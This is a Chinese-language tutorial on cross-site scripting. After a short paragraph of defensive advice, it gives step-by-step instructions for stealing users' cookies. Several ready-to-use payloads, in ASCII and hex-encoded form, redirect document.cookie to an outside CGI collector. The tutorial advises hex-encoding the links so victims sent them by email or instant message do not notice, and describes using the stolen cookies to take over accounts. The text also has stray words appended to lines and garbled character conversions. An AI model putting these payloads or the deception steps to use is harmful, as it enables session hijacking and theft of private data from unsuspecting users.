跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息php
坚定不要相信任何用户输入并过滤全部特殊字符。这样既可消灭绝大部分的XSS攻击。另外一个建议是输出页面时将 < 和 > 变换成 < 和 >。要记住,XSS漏洞极具破坏性,一旦被利用,它会给你的事业带来极大的损害。攻击者会将这些漏洞公之于众,这会在用户隐私的问题上大大下降你的 网站的用户信赖度。固然,仅仅将 ( 和 ) 变换成 < 和 > 是不够的,最好将 ( 和 ) 变换成 ( 和 ),# 和 & 变换成 # 和 &cookie
根据做为攻击对象的Web程序,下面某些变量和插入位置可能须要进行调整。要注意这只是攻击方法的一个例子。在这个例子中,咱们将利用脚本“a.php”中的 “viriable”变量中的跨站脚本漏洞,经过正常请求进行攻击。这是跨站脚本攻击最多见的形式。
第一步: 锁定目标工具
当你找到某个Web程序存在XSS漏洞以后,检查一下它是否设置了cookie。若是在该网站的任何地方设置了cookie,那么就能够从用户那里盗取它。
第二步: 测试测试
不一样的攻击方式将产生不一样的XSS漏洞,因此应适当进行测试以使得输出结果看起来像是正常的。某些恶意脚本插入以后会破坏输出的页面。(为欺骗用户,输出结果很是重要,所以攻击者有必要调整攻击代码使输出看起来正常。)网站
下一步你须要在连接至包含XSS漏洞的页面的URL中插入 Javascript(或其余客户端脚本)。下面列出了一些常常用于测试XSS漏洞的连接。当用户点击这些连接时,用户的cookie奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示。若是你看到显示结果中包含了cookie信息,说明可能能够劫持该用户的帐户。编码
盗取Cookie的Javascript示例。使用方法以下。3d
ASCII用法对象
http://host/a.php?variable=”><script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi? ‘%20+document.cookie</script>ip
十六进制用法it
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
注意: 每种用法都先写为ASCII,再写成十六进制以便复制粘贴。
1. “><script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi?’ +document.cookie</script>
HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
2. <script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi?’ +document.cookie</script>
HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e
3. ><script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi?’ +document.cookie</script>
HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e
第三步: 执行XSS
将作好的URL经过电子邮件或其余方式发送出去。注意若是你直接将URL发送给其余人(经过电子邮件、即时通信软件或其余方式),你应当将其进行十六进制编码,由于这些URL一眼即可看出包含恶意代码,但通过十六进制编码以后就能够欺骗大部分人。
第四步: 处理收集到的信息
一旦用户点击了你的URL,相应数据就会被发送到你的CGI脚本中。这样你就得到了 cookie信息,而后你能够利用Websleuth之类的工具来检查是否能盗取那个帐户。
在上面的例子中,咱们仅仅将用户带到了 cookie.cgi页面上。若是你有时间,你能够在CGI中将用户重定向到原来的页面上,便可在用户不知不觉之中盗取信息。
某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码。即便像Hotmail这样的大型网站也是如此,不过它对附件内容做了许多过滤以免cookie被盗。